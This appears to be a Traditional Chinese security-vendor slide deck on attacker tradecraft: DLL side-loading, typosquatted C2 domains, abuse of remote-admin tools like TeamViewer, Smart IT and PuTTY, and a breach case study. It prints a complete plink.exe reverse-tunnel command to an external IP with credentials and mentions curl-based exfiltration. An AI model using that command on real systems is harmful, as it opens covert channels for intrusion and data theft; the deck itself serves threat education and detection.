
以⼦之⽭，攻⼦之盾

以實際案例頗析威脅⽅式的演進



WiZON Security 數位保全 MDR 四⼤服務

Ø主動偵測，⾏為分析

ü監控端點⽇誌

ü異常⾏為軌跡關聯分析

Ø威脅分析，持續監控

ü時時監控，鎖定威脅範圍，

降低災損

ü專⼈通報及處理建議

Ø即刻回應，有效阻絕

ü遏⽌⼊侵與橫向攻擊

ü顧問團隊專業分析與建議

Ø專家鑑識，定期健檢

ü每⽉分析報告

ü顧問團隊專業建議



WiZON 服務流程

入侵階段
＜1小時

處理階段
＜1小時

改善階段
＜2天

攻擊者入侵

WiZON 主動偵測

威脅事件通知

顧問分析

持續監控

資安顧問找出來源

提供專業分析與建議

提供即時應變方案

端點基本需求 CPU 效能消耗 ＜5 % 平均 100 台端點，消耗網路
頻寬 1Mb/s

支援任何能拋轉事件的
系統、設備



• Zero Chen ( 祭⾁陳 )

• 詮睿科技股份有限公司 資安顧問服務處 處⻑

• ⾃ 2008 年開始從事資安相關⼯作

• 專⻑是邊喝酒邊打站或挖貓胃 (X

• KMPlayer SCA（ICST-ANA-2013-0018）

• Operation DRBControl

撸貓 (O



攻擊外部服務
主機 (Server 
/ Web)

攻擊企業內部
伺服器、營運
環境

電子郵件社交
攻擊、APT魚
叉式攻擊

植入惡意木馬
反連中繼站

入侵至關鍵伺
服器竊取企業
核心機密

滲透目標 中繼站連線 內部攻擊
橫向提權

入侵成功造
成商業損失

攻擊者⼊侵企業的⽅式

絕⼤部分的 Anti Virus / 
EDR 產品偵測重點環節



傳統中繼站連線

• 傳統做法，植入後門

• 直接透過 IP / DDNS 回連 C&C

- <REDACTED>.196.80

- <REDACTED>.196.88

- download.kaspresky[.]com

- www.microsofts[.]org



運⽤合法程序做 Dll Side-Loading

MpCmdRun.exe 是 MsMpEng.exe
mpsvc.dll 是 Payload



Dll Side-Loading 後常⾒被注⼊程序

• Side-Loading 常⾒被注⼊的程序
- svchost.exe
- explorer.exe
- msiexec.exe
- iexplorer.exe
- msdtc.exe
- dllhost.exe
- … 族繁不及備載



Dll Side-Loading 後常⾒被注⼊程序

以 Operation DRBControl 為例，
攻擊者注入的程序為 svchost.exe



找出惡意程序的⽅法

• Threat Hunting

• Memory Forensic

• Indicator of Compromise

• 從⼀⼤堆看似正常的系統程序找出異常

從一堆正常(?)程序中
找出異常的蛛絲馬跡



攻擊外部服務
主機 (Server 
/ Web)

運用企業內部
合法管理工具
進行橫向入侵

電子郵件社交
攻擊、APT魚
叉式攻擊

安裝合法工具
作為後門運用

入侵至關鍵伺
服器竊取企業
核心機密

滲透目標 中繼站連線 內部攻擊
橫向提權

入侵成功造
成商業損失

攻擊者⼊侵企業的⽅式（改）



有⽤過這些⼯具嗎？

• TeamViewer

• AnyDesk

• PuTTY

• Smart IT

•還有更多…如 IPGuard、X-Fort 等都是企業常用第三方管理工具



試想⼀下，倘若遠端連線⼯具遭濫⽤？

• TeamViewer

• AnyDesk



資產管理⼯具若遭濫⽤？

• Smart IT

對系統註冊遠端指令遙控 Agent，
PSEXEC 表示搶工作喔！哭哭 QQ

把 Smart IT 當後門來遠端遙控，
比如執行 curl 把偷來的資料傳出去



PuTTY？

• GUI SSH連線管理工具

Plink.exe 是 CommandLine 的 SSH Client

也可以用來開 Reverse Tunnel



Plink？

plink.exe -R 1235:127.0.0.1:62223 -l test -pw 1qazSE45 45.134.173.181 -batch -v -2 -hostkey
SHA256:SjalzEr+1Sh5WDHlbEAtv2li12RFQrBizSpshOCNrYI -N

下個指令直接用合法程式開 Tunnel 出去

當然如果我們有辦法發現這
些指令，也有機會能連到攻
擊者的中繼站就是了 XD



除了 C2 外的回傳位置？

• Dropbox

• Google Drive

• OneDrive

• MediaFire

• Baidu Pan

常見攻擊者利用回
傳檔案的網路服務

現實是，有更多可能我們完
全不會知道的檔案交換服務



本次 Case Study ⼊侵流程

攻擊者透過 n-day 
進入到內部主機

Lateral Movement

找到 SmartIT

最終入侵到 AWS 營運環境

aws-prod.ppk



N day 其實不難找也不貴

• Magento 的漏洞其實挺好用的，也因此相關漏洞的 Exploit 在暗網販售
的價格大約在 0.3 BTC 至 1.7 BTC 左右

Magento CVE-2022-24086 
exploit code 只賣 0.3 BTC，換
算台幣大約在 17w *0919行情價
俗啦！！快買下來打爆！！（X



紅隊演練的⼩概念

Official eShop SMTP

Old Web

SSH/RDP

Jira

UAT / DEV

我們以為很重要的服務

攻擊者想要找的就是我
們以為不重要或不知道
有這台機器，但卻具備
n-day 的邊際服務啦！

嗨嗨～我是被遺忘的 dev 也
是這個事件的 root cause



Another Case

資料來源：@MichalKoczwara
https://twitter.com/MichalKoczwara/status/1571432800787759104

https://twitter.com/MichalKoczwara


總結

•現今的APT Group 深知利用合法掩飾非法

•企業內部建構 SIEM的必要性是絕對的

•企業應採用MDR服務同步監控設備、系統、端點日誌

•那…前述提及的第三方軟體？

•「合法軟體+非法使用」=惡意行為偵測的新趨勢



Thank You


